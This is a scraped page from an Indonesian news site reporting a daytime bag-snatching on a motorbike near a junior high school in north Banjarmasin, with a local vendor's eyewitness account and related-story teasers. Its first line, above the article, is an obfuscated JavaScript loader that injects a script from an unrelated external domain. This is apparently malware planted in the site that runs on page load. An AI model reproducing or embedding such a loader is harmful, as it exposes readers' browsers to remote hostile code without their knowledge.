(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Ruas Jalan Komplek Persada di Kelurahan Alalak Tengah, Kecamatan Banjarmasin Utara rawan aksi kejahatan pembegalan.
Beberapa kejadian tindak kriminal begal kerap terjadi saat malam hari. Belakangan, tak jarang beberapa pembegalan dilakukan pada siang hari bolong. Seperti yang terjadi tepat di tikungan jalan dekat SMPN 13 Banjarmasin.
Tindak kriminal pembegalan menimpa seorang perempuan, warga Komplek Persada, Kelurahan Alalak Tengah, Kecamatan Banjarmasin Utara, Kota Banjarmasin.
Pelaku begal diketahui menggunakan kendaraan bermotor roda dua Honda Scoppy yang merampas tas korban yang berisi uang senilai Rp 5,5 juta rupiah dan sebuah smartphone.
Baca juga : Apel Gabungan Sinergi TNI-Polri di Makodim 1017 Lamandau
Aksi begal ini pun langsung viral di media sosial. Setelah peristiwa pembegalan diunggah oleh Apriliani, pedagang di dekat SMPN 13 Banjarmasin.
Kepada Kanalkalimantan.com, Senin (21/11/2022) siang, Apriliani mengaku, pembegalan itu terjadi pada Kamis (17/11/2022) lalu, sekitar pukul 11.30 Wita. Saat kejadian dirinya sedang menjaga warung.
“Sekitar setengah dua belas itu ada perempuan yang histeris teriak jambret dari sebelah kiri sekitar kurang lebih dua toko, pas dicek perempuan itu sudah jatuh ke tumpukan sampah, posisinya tertindih motor, katanya habis dijambret tasnya,” ungkap Apriliani.
Saat ditemukan, perempuan korban pembegalan diketahui sudah dalam keadaan terjatuh dari sepeda motor, akibat ulah dari pelaku begal tersebut. Meski korban tak mengalami luka serius, uang jutaan rupiah lenyap.
Aprliani menduga korban kemungkinan besar telah lama diintai oleh pelaku, lantaran yang ia ketahui korban kerap membawa uang hasil kreditan barang.
Baca juga : Dua Penjabat Bupati di Kalsel Dilantik, Pimpin Batola dan HSU hingga Pilkada 2024
“Kemungkinan memang sudah diintai, soalnya kabarnya memang sering bawa uang banyak karena kakaknya tukang kreditan barang,” sambungnya.
Warga sekitar yang mendapati peristiwa itu tak sempat mengejar pelaku, karena sibuk menolong korban yang membawa dua anak.
“Warga fokus menolong korban, dan tidak tahu lagi kemana pelaku pergi, soalnya ini korban bawa anak berseragam sekolah, sama satunya masih balita,” jelasnya.
Sampai saat ini korban pun diketahui belum melakukan laporan kepada pihak berwajib. Patroli preventif terus dilakukan Kepolisian Sektor Banjarmasin Utara guna meminimalisir tindak kejahatan di daerah rawan tersebut. (Kanalkalimantan.com/wanda)
Reporter : wanda
Editor : bie
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob yang menggenangi kawasan Murung Selong, Kelurahan Sungai Lulut, Kota Banjarmasin,… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Ketua DPRD Kota Banjarmasin, Rikval Fachruri meninjau banjir rob di komplek Persatuan… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Banjir rob yang menggenangi Jalan Hikmah Banua, Gang Serumpun RT 27, Kelurahan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Balai Latihan Kerja (BLK) di bawah Dinas Tenaga Kerja dan Transmigrasi (Disnakertrans)… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru bersiap menyambut kunjungan Presiden Republik Indonesia, Prabowo Subianto berserta… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Seorang remaja laki-laki dilaporkan tenggelam di Sungai Martapura, Jalan Rantauan Darat, Kecamatan… Read More
This website uses cookies.